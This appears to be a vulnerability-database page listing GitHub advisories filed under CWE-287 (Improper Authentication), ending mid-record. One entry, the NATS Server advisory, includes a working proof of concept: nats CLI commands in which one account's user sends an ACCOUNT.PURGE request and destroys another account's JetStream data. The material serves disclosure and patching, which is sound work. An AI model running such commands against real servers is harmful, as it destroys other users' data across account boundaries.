Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5976 vulnerabilities reference this CWE, most recent first.

GHSA-FH54-RXV3-35P2

Vulnerability from github – Published: 2022-05-17 01:38 – Updated: 2022-05-17 01:38

Details

IBM WebSphere Message Broker 6.1 before 6.1.0.12, 7.0 before 7.0.0.6, and 8.0 before 8.0.0.2 does not validate Basic Authentication credentials before proceeding to WS-Addressing and WS-Security operations, which allows remote attackers to trigger transmission of unauthenticated messages via unspecified vectors.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2012-5952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-02-20T12:09:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere Message Broker 6.1 before 6.1.0.12, 7.0 before 7.0.0.6, and 8.0 before 8.0.0.2 does not validate Basic Authentication credentials before proceeding to WS-Addressing and WS-Security operations, which allows remote attackers to trigger transmission of unauthenticated messages via unspecified vectors.",
  "id": "GHSA-fh54-rxv3-35p2",
  "modified": "2022-05-17T01:38:04Z",
  "published": "2022-05-17T01:38:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2012-5952"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/80666"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?uid=swg1IC89803"
    },
    {
      "type": "WEB",
      "url": "http://www-01.ibm.com/support/docview.wss?uid=swg21623316"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-FHG8-QXH5-7Q3W

Vulnerability from github – Published: 2025-04-15 21:45 – Updated: 2026-06-05 21:36

Summary

NATS Server may fail to authorize certain Jetstream admin APIs

Details

Advisory

The management of JetStream assets happens with messages in the $JS. subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.

Some of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.

Affected versions

NATS Server: * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27

Original Report

(Lightly edited to confirm some supposition and in the summary to use past tense)

Summary

nats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove, account stream move, and account stream cancel-move.

In all cases, APIs are not properly restricted to system-account users. Instead, any authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on $JS.>.

Only the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.

Reproduction of the ACCOUNT.PURGE case is below. The others are like it.

Details & Impact

Issue 1: `$JS.API.ACCOUNT.PURGE.*`

Any user may perform an account purge of any other account (including their own).

Risk: total destruction of Jetstream configuration and data.

Issue 2: `$JS.API.SERVER.REMOVE`

Any user may remove servers from Jetstream clusters.

Risk: Loss of data redundancy, reduction of service quality.

Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE..` and `CANCEL_MOVE`

Any user may cause streams to be moved between servers.

Risk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.

Similarly for $JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*

Mitigations

It appears that users without permission to publish on $JS.API.ACCOUNT.> or $JS.API.SERVER.> are unable to execute the above APIs.

Unfortunately, in many configurations, an 'admin' user for a single account will be given permissions for $JS.> (or simply >), which allows the improper access to the system APIs above.

Scope of impact

Issues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.

While I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.

Additional notes

It appears that $JS.API.META.LEADER.STEPDOWN does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.

PoC

Environment

Tested with: nats-server 2.10.26 (installed via homebrew) nats cli 0.1.6 (installed via homebrew) macOS 13.7.4

Reproduction steps

$ nats-server --version
nats-server: v2.10.26

$ nats --version
0.1.6

$ cat nats-server.conf
listen: '0.0.0.0:4233'
jetstream: {
  store_dir: './tmp'
}
accounts: {
  '$SYS': {
    users: [{user: 'sys', password: 'sys'}]
  },
  'TEST': {
    jetstream: true,
    users: [{user: 'a', password: 'a'}]
  },
  'TEST2': {
    jetstream: true,
    users: [{user: 'b', password: 'b'}]
  }
}

$ nats-server -c ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf
...
[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233
...

# Authentication is effectively enabled by the server:
$ nats -s nats://localhost:4233 account info
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user sys --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user a --password wrong
nats: error: setup failed: nats: Authorization Violation

$ nats -s nats://localhost:4233 account info --user b --password wrong
nats: error: setup failed: nats: Authorization Violation

# Valid credentials work, and users properly matched to accounts:
$ nats -s nats://localhost:4233 account info --user sys --password sys
Account Information
                      User: sys
                   Account: $SYS
...

$ nats -s nats://localhost:4233 account info --user a --password a
Account Information
                           User: a
                        Account: TEST
...

$ nats -s nats://localhost:4233 account info --user b --password b
Account Information
                           User: b
                        Account: TEST2
...

# Add a stream and messages to account TEST (user 'a'):
$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults
Stream stream1 was created
...

$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 "msg {{Count}}"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"
11:50:05 Published 5 bytes to "s1"

# Messages are correctly persisted on account TEST, and not on TEST2:
$ nats -s nats://localhost:4233 --user a --password a stream ls
╭───────────────────────────────────────────────────────────────────────────────╮
│                                    Streams                                    │
├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤
│ Name    │ Description │ Created             │ Messages │ Size  │ Last Message │
├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤
│ stream1 │             │ 2025-03-02 11:48:49 │ 3        │ 111 B │ 46.01s       │
╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯

$ nats -s nats://localhost:4233 --user b --password b stream ls
No Streams defined

$ du -h tmp/jetstream
  0B    tmp/jetstream/TEST/streams/stream1/obs
8.0K    tmp/jetstream/TEST/streams/stream1/msgs
 16K    tmp/jetstream/TEST/streams/stream1
 16K    tmp/jetstream/TEST/streams
 16K    tmp/jetstream/TEST
 16K    tmp/jetstream

# User b (account TEST2) sends a PURGE command for account TEST (user a).
# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.
$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''
11:54:50 Sending request on "$JS.API.ACCOUNT.PURGE.TEST"
11:54:50 Received with rtt 1.528042ms
{"type":"io.nats.jetstream.api.v1.account_purge_response","initiated":true}

# From nats-server in response to the purge request:
[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)

# And indeed, the stream data is gone on account TEST:
$ du -h tmp/jetstream
  0B    tmp/jetstream

$ nats -s nats://localhost:4233 --user a --password a stream ls
No Streams defined

Severity

9.6 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nats-io/nats-server/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.11.0-RC.1"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nats-io/nats-server/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.10.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-30215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-15T21:45:00Z",
    "nvd_published_at": "2025-04-16T00:15:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Advisory\n\nThe management of JetStream assets happens with messages in the `$JS.` subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.\n\nSome of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.\n\n### Affected versions\n\nNATS Server:\n * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27\n\n-----\n\n## Original Report\n\n(Lightly edited to confirm some supposition and in the summary to use past tense)\n\n### Summary\n\nnats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove,  account stream move, and  account stream cancel-move.\n\nIn all cases, APIs are not properly restricted to system-account users. Instead, _any_ authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on `$JS.\u003e`.\n\nOnly the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.\n\nReproduction of the `ACCOUNT.PURGE` case is below. The others are like it.\n\n\n### Details \u0026 Impact\n\n#### Issue 1: `$JS.API.ACCOUNT.PURGE.*`\n\nAny user may perform an account purge of any other account (including their own).\n\nRisk: total destruction of Jetstream configuration and data.\n\n\n#### Issue 2: `$JS.API.SERVER.REMOVE`\n\nAny user may remove servers from Jetstream clusters.\n\nRisk: Loss of data redundancy, reduction of service quality.\n\n\n#### Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE.*.*` and `CANCEL_MOVE`\n\nAny user may cause streams to be moved between servers.\n\nRisk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.\n\nSimilarly for `$JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*`\n\n\n#### Mitigations\n\nIt appears that users without permission to publish on `$JS.API.ACCOUNT.\u003e` or `$JS.API.SERVER.\u003e` are unable to execute the above APIs.\n\nUnfortunately, in many configurations, an \u0027admin\u0027 user for a single account will be given permissions for `$JS.\u003e` (or simply `\u003e`), which allows the improper access to the system APIs above.\n\n\n#### Scope of impact\n\nIssues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.\n\nWhile I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.\n\n\n#### Additional notes\n\nIt appears that `$JS.API.META.LEADER.STEPDOWN` does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.\n\n\n\n### PoC\n\n#### Environment\n\nTested with:\nnats-server 2.10.26 (installed via homebrew)\nnats cli 0.1.6 (installed via homebrew)\nmacOS 13.7.4\n\n\n#### Reproduction steps\n\n```\n$ nats-server --version\nnats-server: v2.10.26\n\n$ nats --version\n0.1.6\n\n$ cat nats-server.conf\nlisten: \u00270.0.0.0:4233\u0027\njetstream: {\n  store_dir: \u0027./tmp\u0027\n}\naccounts: {\n  \u0027$SYS\u0027: {\n    users: [{user: \u0027sys\u0027, password: \u0027sys\u0027}]\n  },\n  \u0027TEST\u0027: {\n    jetstream: true,\n    users: [{user: \u0027a\u0027, password: \u0027a\u0027}]\n  },\n  \u0027TEST2\u0027: {\n    jetstream: true,\n    users: [{user: \u0027b\u0027, password: \u0027b\u0027}]\n  }\n}\n\n$ nats-server -c ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233\n...\n\n# Authentication is effectively enabled by the server:\n$ nats -s nats://localhost:4233 account info\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user sys --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user a --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user b --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n# Valid credentials work, and users properly matched to accounts:\n$ nats -s nats://localhost:4233 account info --user sys --password sys\nAccount Information\n                      User: sys\n                   Account: $SYS\n...\n\n$ nats -s nats://localhost:4233 account info --user a --password a\nAccount Information\n                           User: a\n                        Account: TEST\n...\n\n$ nats -s nats://localhost:4233 account info --user b --password b\nAccount Information\n                           User: b\n                        Account: TEST2\n...\n\n# Add a stream and messages to account TEST (user \u0027a\u0027):\n$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults\nStream stream1 was created\n...\n\n$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 \"msg {{Count}}\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n\n# Messages are correctly persisted on account TEST, and not on TEST2:\n$ nats -s nats://localhost:4233 --user a --password a stream ls\n\u256d\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256e\n\u2502                                    Streams                                    \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Name    \u2502 Description \u2502 Created             \u2502 Messages \u2502 Size  \u2502 Last Message \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 stream1 \u2502             \u2502 2025-03-02 11:48:49 \u2502 3        \u2502 111 B \u2502 46.01s       \u2502\n\u2570\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u256f\n\n$ nats -s nats://localhost:4233 --user b --password b stream ls\nNo Streams defined\n\n$ du -h tmp/jetstream\n  0B\ttmp/jetstream/TEST/streams/stream1/obs\n8.0K\ttmp/jetstream/TEST/streams/stream1/msgs\n 16K\ttmp/jetstream/TEST/streams/stream1\n 16K\ttmp/jetstream/TEST/streams\n 16K\ttmp/jetstream/TEST\n 16K\ttmp/jetstream\n\n# User b (account TEST2) sends a PURGE command for account TEST (user a).\n# According to the source comments, user b shouldn\u0027t even be able to purge it\u0027s own account, much less another one.\n$ nats -s nats://localhost:4233 --user b --password b request \u0027$JS.API.ACCOUNT.PURGE.TEST\u0027 \u0027\u0027\n11:54:50 Sending request on \"$JS.API.ACCOUNT.PURGE.TEST\"\n11:54:50 Received with rtt 1.528042ms\n{\"type\":\"io.nats.jetstream.api.v1.account_purge_response\",\"initiated\":true}\n\n# From nats-server in response to the purge request:\n[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)\n\n# And indeed, the stream data is gone on account TEST:\n$ du -h tmp/jetstream\n  0B\ttmp/jetstream\n\n$ nats -s nats://localhost:4233 --user a --password a stream ls\nNo Streams defined\n\n```",
  "id": "GHSA-fhg8-qxh5-7q3w",
  "modified": "2026-06-05T21:36:07Z",
  "published": "2025-04-15T21:45:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nats-io/nats-server/security/advisories/GHSA-fhg8-qxh5-7q3w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30215"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nats-io/nats-server/commit/3e7e4645a24e829a36b4210f2d7c34dea7f7a424"
    },
    {
      "type": "WEB",
      "url": "https://advisories.nats.io/CVE/secnote-2025-01.txt"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nats-io/nats-server"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/GO-2025-3600"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/04/08/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NATS Server may fail to authorize certain Jetstream admin APIs"
}

GHSA-FHM7-HX2J-4294

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-07-13 00:01

Details

Talend ESB Runtime in all versions from 5.1 to 7.3.1-R2021-09, 7.2.1-R2021-09, 7.1.1-R2021-09, has an unauthenticated Jolokia HTTP endpoint which allows remote access to the JMX of the runtime container, which would allow an attacker the ability to read or modify the container or software running in the container.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-40684"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-22T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Talend ESB Runtime in all versions from 5.1 to 7.3.1-R2021-09, 7.2.1-R2021-09, 7.1.1-R2021-09, has an unauthenticated Jolokia HTTP endpoint which allows remote access to the JMX of the runtime container, which would allow an attacker the ability to read or modify the container or software running in the container.",
  "id": "GHSA-fhm7-hx2j-4294",
  "modified": "2022-07-13T00:01:40Z",
  "published": "2022-05-24T19:15:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-40684"
    },
    {
      "type": "WEB",
      "url": "https://help.talend.com/r/en-US/7.3/release-notes-esb-products"
    },
    {
      "type": "WEB",
      "url": "https://jira.talendforge.org/browse/SF-141"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHMM-MWC4-3CVJ

Vulnerability from github – Published: 2025-09-10 15:31 – Updated: 2025-09-10 15:31

Details

Improper Authentication (CWE-287) in the LDAP authentication engine in AxxonSoft Axxon One 2.0.2 and earlier on Windows allows a remote authenticated user to be denied access or misassigned roles via incorrect evaluation of nested LDAP group memberships during login.

Severity

5.4 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-10224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-10T13:15:36Z",
    "severity": "MODERATE"
  },
  "details": "Improper Authentication (CWE-287) in the LDAP authentication engine in AxxonSoft Axxon One 2.0.2 and earlier on Windows allows a remote authenticated user to be denied access or misassigned roles via incorrect evaluation of nested LDAP group memberships during login.",
  "id": "GHSA-fhmm-mwc4-3cvj",
  "modified": "2025-09-10T15:31:17Z",
  "published": "2025-09-10T15:31:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10224"
    },
    {
      "type": "WEB",
      "url": "https://www.axxonsoft.com/legal/axxonsoft-vulnerability-disclosure-policy/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-FHPW-7642-FF4W

Vulnerability from github – Published: 2022-05-24 17:04 – Updated: 2022-10-14 12:00

Details

An authentication issue was addressed with improved state management. This issue is fixed in macOS Mojave 10.14.5. A user may be unexpectedly logged in to another user?s account.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2019-8634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-12-18T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An authentication issue was addressed with improved state management. This issue is fixed in macOS Mojave 10.14.5. A user may be unexpectedly logged in to another user?s account.",
  "id": "GHSA-fhpw-7642-ff4w",
  "modified": "2022-10-14T12:00:21Z",
  "published": "2022-05-24T17:04:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8634"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/HT210119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FHQX-HM87-5JCM

Vulnerability from github – Published: 2022-05-17 00:51 – Updated: 2022-05-17 00:51

Details

Apple OS X before 10.10.5 does not properly implement authentication, which allows local users to obtain admin privileges via unspecified vectors.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2015-3775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-08-16T23:59:00Z",
    "severity": "HIGH"
  },
  "details": "Apple OS X before 10.10.5 does not properly implement authentication, which allows local users to obtain admin privileges via unspecified vectors.",
  "id": "GHSA-fhqx-hm87-5jcm",
  "modified": "2022-05-17T00:51:46Z",
  "published": "2022-05-17T00:51:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-3775"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT205031"
    },
    {
      "type": "WEB",
      "url": "http://lists.apple.com/archives/security-announce/2015/Aug/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/76340"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1033276"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-FHVP-9HCJ-6M33

Vulnerability from github – Published: 2026-04-14 23:14 – Updated: 2026-04-24 20:39

Summary

Oxia has an OIDC token audience validation bypass via SkipClientIDCheck

Details

Summary

The OIDC authentication provider unconditionally sets SkipClientIDCheck: true in the go-oidc verifier configuration, disabling the standard audience (aud) claim validation at the library level. This allows tokens issued for unrelated services by the same OIDC issuer to be accepted by Oxia.

Impact

In deployments using OIDC authentication, an attacker possessing a valid JWT token issued by the same identity provider but intended for a different service (different client_id/aud) can authenticate to Oxia. This bypasses the intended audience isolation of OAuth2/OIDC.

All versions using OIDC authentication are affected.

Details

In oxiad/common/rpc/auth/oidc.go, both createStaticKeyVerifier() and createRemoteVerifier() set SkipClientIDCheck: true. While a custom audience check exists in Authenticate(), the library-level check — which validates the aud claim against the expected client_id — is completely bypassed.

Patches

Fixed by removing SkipClientIDCheck: true and setting the ClientID field from the configured AllowedAudiences.

Workarounds

Ensure network-level isolation so that only trusted services can reach the Oxia gRPC endpoints.

Severity

9.3 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.16.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/oxia-db/oxia"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.16.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:14:49Z",
    "nvd_published_at": "2026-04-21T22:16:20Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe OIDC authentication provider unconditionally sets `SkipClientIDCheck: true` in the `go-oidc` verifier configuration, disabling the standard audience (`aud`) claim validation at the library level. This allows tokens issued for unrelated services by the same OIDC issuer to be accepted by Oxia.\n\n### Impact\nIn deployments using OIDC authentication, an attacker possessing a valid JWT token issued by the same identity provider but intended for a different service (different `client_id`/`aud`) can authenticate to Oxia. This bypasses the intended audience isolation of OAuth2/OIDC.\n\nAll versions using OIDC authentication are affected.\n\n### Details\nIn `oxiad/common/rpc/auth/oidc.go`, both `createStaticKeyVerifier()` and `createRemoteVerifier()` set `SkipClientIDCheck: true`. While a custom audience check exists in `Authenticate()`, the library-level check \u2014 which validates the `aud` claim against the expected `client_id` \u2014 is completely bypassed.\n\n### Patches\nFixed by removing `SkipClientIDCheck: true` and setting the `ClientID` field from the configured `AllowedAudiences`.\n\n### Workarounds\nEnsure network-level isolation so that only trusted services can reach the Oxia gRPC endpoints.",
  "id": "GHSA-fhvp-9hcj-6m33",
  "modified": "2026-04-24T20:39:53Z",
  "published": "2026-04-14T23:14:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/oxia-db/oxia/security/advisories/GHSA-fhvp-9hcj-6m33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40946"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/oxia-db/oxia"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Oxia has an OIDC token audience validation bypass via SkipClientIDCheck"
}

GHSA-FHVV-P968-6VVJ

Vulnerability from github – Published: 2022-09-18 00:00 – Updated: 2022-09-22 17:28

Summary

Snipe-IT vulnerable to Improper Authentication

Details

Snipe-IT prior to 6.0.10 is vulnerable to Improper Authentication. A user without the View and Modify License Files permission may access files uploaded to licenses as long as they have the View permission for licenses.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "snipe/snipe-it"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.0.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3173"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-20T18:19:21Z",
    "nvd_published_at": "2022-09-17T07:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Snipe-IT prior to 6.0.10 is vulnerable to Improper Authentication. A user without the `View and Modify License Files` permission may access files uploaded to licenses as long as they have the `View` permission for licenses.",
  "id": "GHSA-fhvv-p968-6vvj",
  "modified": "2022-09-22T17:28:56Z",
  "published": "2022-09-18T00:00:30Z",
  "references": [
    {
